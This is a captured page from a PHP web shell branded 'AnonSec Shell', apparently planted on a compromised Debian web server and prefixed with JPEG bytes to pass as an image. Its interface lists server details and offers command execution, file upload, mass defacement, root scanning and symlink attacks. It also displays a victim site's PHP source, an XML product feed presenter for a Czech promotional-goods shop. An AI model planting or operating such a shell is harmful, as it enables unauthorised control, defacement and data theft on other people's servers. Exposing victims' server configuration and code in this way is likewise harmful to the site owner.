JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 31.31.79.131  /  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/app/frontModule/presenters/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/app/frontModule/presenters/FeedsPresenter.php
<?php
/**
 * Created by PhpStorm.
 * User: Artem
 * Date: 6/7/2018
 * Time: 10:31 AM
 */

namespace App\frontModule\Presenters;


use Promoteus\CategoryRepository;
use Promoteus\Component\ProductImageModernizer;
use Promoteus\LanguageRepository;
use Promoteus\ProductRepository;

class FeedsPresenter extends BasePresenter
{

    /** @var ProductRepository @inject */
    public $productRepository;

    /** @var CategoryRepository @inject */
    public $categoryRepository;

    /** @var ClientPresenter @inject */
    public $clientPresenter;

    /** @var ProductImageModernizer @inject */
    public $productImageModernizer;

    /** @var LanguageRepository @inject */
    public $languageRepository;

    protected function startup()
    {
        parent::startup();
        if ($this->getParameter('lang')) {
            if ($this->getParameter('lang') == 1 OR $this->getParameter('lang') == 2 OR $this->getParameter('lang') == 3) {
                $lang = $this->getParameter('lang');
            } else {
                $lang = 1;
            }
        } else $lang = 1;
        self::setLanguageData($this->languageRepository->getLangSuffix($lang));
        header("Content-Type: text/xml");
    }


    public function actionAba()
    {

        echo '<?xml version="1.0" encoding="utf-8"?>';

        echo "<all_products>";

        foreach ($this->productRepository->getProductsGeneral() as $product) {

            $images = $this->productImageModernizer->getProductImages($product['code']);
            echo "<product>";
            echo "<code>" . $product['code'] . "</code>";
            echo "<name><![CDATA[" . $product['name'] . "]]></name>";
            echo "<img>" . $this->template->baseUrl . $images[0]['full'] . "</img>";

            echo "<short_description><![CDATA[" . $product['short_description'] . "]]></short_description>";
            echo "<description><![CDATA[" . $product['description'] . "]]></description>";
            echo "<specification><![CDATA[" . $product['specification'] . "]]></specification>";
            echo "<def_box><![CDATA[ ]]></def_box>";
            echo "<size>" . $product['size'] . "</size>";
            echo "<weight>" . $product['weight'] . "</weight>";
            echo "<def_box_size></def_box_size>";
            echo "<packing_details></packing_details>";
            echo "<max_print_back>" . $product['max_print_back'] . "</max_print_back>";
            echo "<total_weight>" . $product['total_weight'] . "</total_weight>";
            echo "<hs_code></hs_code>";
            //categories
            echo "<categories>";
            $categories = $this->categoryRepository->getCategoryNames($product['id']);
            foreach ($categories as $category) {
                echo "<cat>" . $category . "</cat>";
            }
            echo "</categories>";
            //images
            echo "<images>";
            foreach ($images as $image) {
                echo "<image>" . $this->template->baseUrl . $image['full'] . "</image>";
            }
            echo "</images>";
            //images
            echo "<images_pack>";
            $images = $this->productImageModernizer->getProductImages($product['packtype']);
            foreach ($images as $image) {
                echo "<image>" . $this->template->baseUrl . $image['full'] . "</image>";
            }
            echo "</images_pack>";
            //details
            echo "<details>";
            //colors
            echo "<colors>";
            $colors = $this->productRepository->getProductsColors($product['id']);
            foreach ($colors as $color) {
                echo "<color><name>" . $color['name'] . "</name><hex>" . $color['hex'] . "</hex></color>";
            }
            echo "</colors>";

            //capacity
            $capacities = $this->productRepository->getCapacities($product['id']);
            if ($capacities) {
                echo "<capacities>";
                foreach ($capacities as $capacity) {
                    echo "<capacity>" . $capacity['name'] . "</capacity>";
                }
                echo "</capacities>";
            }

            //materials
            $materials = $this->productRepository->getMaterials($product['id']);
            if ($materials) {
                echo "<materials>";
                foreach ($materials as $material) {
                    echo "<material>" . $material['name'] . "</material>";
                }
                echo "</materials>";
            }

            //print
            $prints = $this->productRepository->getPrints($product['id']);
            if ($prints) {
                echo "<prints>";
                foreach ($prints as $print) {
                    echo "<print>" . $print['name'] . "</print>";
                }
                echo "</prints>";
            }

            //min-order
            $minOrders = $this->productRepository->minOrders($product['id']);
            if ($minOrders) {
                echo "<minorder>";
                foreach ($minOrders as $minOrder) {
                    echo $minOrder['name'];
                }
                echo "</minorder>";
            }

            //term
            $terms = $this->productRepository->getTerms($product['id']);
            if ($terms) {
                echo "<term>";
                foreach ($terms as $term) {
                    echo $term['name'];
                }
                echo "</term>";
            }

            echo "</details>";

            echo "</product>";
        }

        echo "</all_products>";
        exit;
    }

    public function actionGeneral()
    {
        $this->actionAba();
    }

    private function check_input($data)
    {
        $data = trim($data);
        $data = stripslashes($data);
        $data = htmlspecialchars($data);

        return $data;
    }

    public function actionStock()
    {
        $user = $this->check_input($this->getParameter('user'));

        $result = $this->clientRepository->getBy(['username' => $user]);
        if ($result) {
            $user_group = ($result['user_group_id'] > 0) ? $result['user_group_id'] : 1;
        } else {
            $user_group = 1;
        }

        $subpage = 0;

//jazyk

        $products = $this->productRepository->getStockProductsExport($user_group);


        echo '<?xml version="1.0" encoding="utf-8"?>';
        echo "<stock_products>";


        foreach ($products['list'] as $product) {


            echo "<product>";
            echo "<code>" . $product['code'] . "</code>";
            echo "<parent_code>" . $product['product_code'] . "</parent_code>";
            echo "<name><![CDATA[" . $product['name'] . "]]></name>";
            echo "<url>https://promoteus.cz/detail/" . $product['code'] . "</url>";
            echo "<image>https://promoteus.cz" . $product['image'] . "</image>";
            echo "<images>";
            echo "<image>https://promoteus.cz" . $product['image'] . "</image>";
            if ($product['image_other'] != "") {
                echo "<image>https://promoteus.cz" . $product['image_other'] . "</image>";
            }
            echo "</images>";
            echo "<stock>" . $product['stock'] . "</stock>";
            echo "<price>" . $product['price'] . "</price>";
            echo "<fee>" . $product['fee'] . "</fee>";
            echo "<ontheway>" . $product['ordered'] . "</ontheway>";
            echo "<date_available>" . $product['date_available'] . "</date_available>";
            echo "<pack>" . $product['pack'] . "</pack>";

            echo "<details>";
            echo "<surface>" . $product['surface'] . "</surface>";
            echo "<capacity>" . $product['capa'] . "</capacity>";
            echo "<color><name>" . $product['col'] . "</name><hex>" . $product['hex'] . "</hex></color>";
            echo "</details>";

            echo "</product>";
        }

        echo "</stock_products>";
        exit();
    }

    public function actionStock2()
    {
        $user = $this->check_input($this->getParameter('user'));

        $result = $this->clientRepository->getBy(['username' => $user]);
        if ($result) {
            $user_group = ($result['user_group_id'] > 0) ? $result['user_group_id'] : 1;
        } else {
            $user_group = 1;
        }

        $subpage = 0;

//jazyk

        $products = $this->productRepository->getStockProductsExport($user_group);


        echo '<?xml version="1.0" encoding="utf-8"?>';
        echo "<stock_products>";

        foreach ($products['list'] as $product) {

            echo "<product>";
            echo "<code>" . $product['code'] . "</code>";
            echo "<parent_code>" . $product['product_code'] . "</parent_code>";
            echo "<name>" . $product['name'] . "</name>";
            echo "<url>https://promoteus.cz/detail/" . $product['code'] . "</url>";
            echo "<image>https://promoteus.cz" . $product['image'] . "</image>";
            echo "<images>";
            echo "<image>https://promoteus.cz" . $product['image'] . "</image>";
            if ($product['image_other'] != "") {
                echo "<image>https://promoteus.cz" . $product['image_other'] . "</image>";
            }
            echo "</images>";
            echo "<stock>" . $product['stock'] . "</stock>";
            echo "<price>" . $product['price'] . "</price>";
            echo "<fee>" . $product['fee'] . "</fee>";
            echo "<ontheway>" . $product['ordered'] . "</ontheway>";
            echo "<date_available>" . $product['date_available'] . "</date_available>";
            echo "<pack>" . $product['pack'] . "</pack>";

            echo "<details>";
            echo "<surface>" . $product['surface'] . "</surface>";
            echo "<capacity>" . $product['capa'] . "</capacity>";
            echo "<color><name>" . $product['col'] . "</name><hex>" . $product['hex'] . "</hex></color>";
            echo "</details>";

            echo "</product>";
        }

        echo "</stock_products>";
        exit();
    }


}

Anon7 - 2022
AnonSec Team